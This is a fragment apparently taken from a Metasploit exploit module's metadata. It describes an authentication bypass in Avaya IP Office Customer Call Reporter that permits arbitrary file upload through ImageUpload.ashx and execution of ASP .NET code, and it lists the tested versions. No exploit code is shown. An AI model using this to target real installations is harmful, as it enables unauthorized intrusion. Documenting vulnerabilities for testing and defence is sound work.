'Description' => %q{
This module exploits an authentication bypass vulnerability on Avaya IP Office
Customer Call Reporter, which allows a remote user to upload arbitrary files
through the ImageUpload.ashx component. It can be abused to upload and execute
arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP
Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2.
